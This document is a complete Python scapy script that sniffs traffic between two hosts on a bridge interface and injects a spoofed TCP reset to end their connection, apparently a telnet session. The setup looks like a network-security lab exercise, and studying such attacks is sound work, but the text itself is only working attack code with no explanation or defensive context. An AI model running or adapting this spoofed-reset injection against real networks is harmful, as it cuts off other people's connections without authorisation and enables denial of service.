#!/usr/bin/env python3
from scapy.all import *

def spoof_reset(pkt):
    print("Detected TCP packet from {} to {}".format(pkt[IP].src, pkt[IP].dst))
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack)
    res = ip/tcp
    send(res, verbose=0)
    print("Sent spoofed RST packet to terminate connection.")
    exit(0)

print("Sniffing for telnet traffic on br-603d3788c443...")
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=spoof_reset)
